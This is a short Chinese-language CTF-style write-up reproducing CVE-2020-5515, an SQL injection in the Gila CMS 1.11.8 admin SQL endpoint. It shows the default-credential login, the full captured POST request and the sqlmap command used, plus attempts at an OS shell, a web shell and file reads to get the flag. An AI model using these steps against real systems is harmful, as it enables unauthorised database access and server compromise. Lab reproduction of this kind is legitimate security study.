CVE-2020-5515 漏洞复现
这次的漏洞存在于一个CMS框架众
Gila CMS 1.11.8 /admin/sql?query= 存在sql注入
得到目标后,直接访问 http://xxx/admin/sql?query=1 然后发现需要登录。简单尝试后,发现账号一定是标准的邮箱格式,进行常见的破包,发现账号为 admin@admin.com / admin 登录成。登录成功后简单很多了。
继续访问网址,http://xxx/admin/sql?query=1 发现
GET请求是没有放回的,点击执行后的POST请求是有返回的
所以可以通过bp 抓包后,直接使用sqlmap进行请求。
请求包: 这里的query=select 1 是为了方便sqlmap拼接,直接跑出结果。
POST /admin/sql HTTP/1.1
Host: x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://eci-2zecu8o9pmgivtuzr8yw.cloudeci1.ichunqiu.com
Connection: close
Cookie: PHPSESSID=umlh5bqi9j1u4tk3d1fvopmmjq; GSESSIONID=11a8krjv79vxg4nkaejj8ffcxo0paav6dcmz0txuh2man11u7r
Upgrade-Insecure-Requests: 1
query=select 1
保存为1.txt,后使用sqlmap跑出结果即可
sqlmap.py -r 1.txt --random-agent --batch
跑出结果后,查数据库,发现没有ctf数据库,那么就要进行–os-shell,发现也不行,那就只能自己写shell或者直接读取文件就行
直接读取文件也可以得到flag
尝试了下写shell,发现对输入的数据会过滤,正常的好像也写不进,应该是没有写入的权限。